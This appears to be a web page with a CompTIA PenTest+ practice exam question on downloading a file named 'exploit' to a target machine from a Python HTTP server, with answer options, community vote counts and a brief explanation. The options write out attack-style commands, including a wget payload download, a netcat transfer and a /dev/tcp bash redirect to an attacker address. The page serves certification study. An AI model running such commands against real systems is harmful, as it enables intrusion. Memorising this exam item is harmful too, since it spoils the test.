CompTIA
PT0-002 · Question #97
A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine…
The correct answer is D. wget 10.10.51.50:9891/exploit. "Another option is to use wget or curl to download the files to the remote system.
Attacks and Exploits
Question
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?
Options
- Anc 10.10.51.50 9891 < exploit
- Bpowershell -exec bypass -f \10.10.51.50\9891
- Cbash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- Dwget 10.10.51.50:9891/exploit
How the community answered
(50 responses)- A4% (2)
- B14% (7)
- C2% (1)
- D80% (40)
Explanation
"Another option is to use wget or curl to download the files to the remote system.
Topics
#HTTP server#File transfer#wget#Command-line tools
Community Discussion
No community discussion yet for this question.